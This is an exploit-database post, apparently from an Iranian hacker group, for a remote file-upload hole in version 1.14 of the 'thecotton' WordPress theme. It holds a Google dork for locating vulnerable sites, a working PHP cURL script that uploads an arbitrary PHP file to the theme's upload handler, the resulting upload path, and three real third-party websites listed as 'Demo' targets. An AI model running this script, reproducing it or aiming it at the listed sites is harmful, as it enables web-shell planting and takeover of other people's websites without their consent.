#################################
@@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
@@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
@@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
@@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
@@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
@@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
@@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
@@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
@@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#####################################
Exploit Title : WordPress thecotton Themes Remote File Upload Vulnerability
Author : Iranian Exploit DataBase
Discovered By : IeDb
Version : 1.14
Security Risk : Low
Google dork: inurl:/wp-content/themes/thecotton_v114/
#################################
Exploit
<?php
$uploadfile="IeDb.php";
$ch = curl_init("http://127.0.0.1/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>
http://127.0.0.1/wordpress/wp-content/uploads/2014/2/upload.php
Demo :
http://www.centronavarro.org/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php
http://www.rsvphingham.com/wp/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php
http://serdara.com/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php
#################################
Greats : Medrik - Bl4ck M4n - ErfanMs - TaK.FaNaR - F@riD - N20 - Bl4ck N3T - 0x0ptim0us - 0Day
E2MA3N - l4tr0d3ctism - H-SK33PY - sole sad - r3d_s0urc3 - Dr_Evil - z3r0 - Mr.Zer0 - one alone hacker
DICTATOR - dr.koderz - E1.Coders - Security - ARTA - ARYABOD - Behnam Vanda - C0dex - Dj.TiniVini
Det3cT0r - yashar shahinzadeh And All Members In IeDb.Ir/acc
#################################
Tnx To : All Member In Iedb.ir/acc & Iranian Hackers
#################################
#################################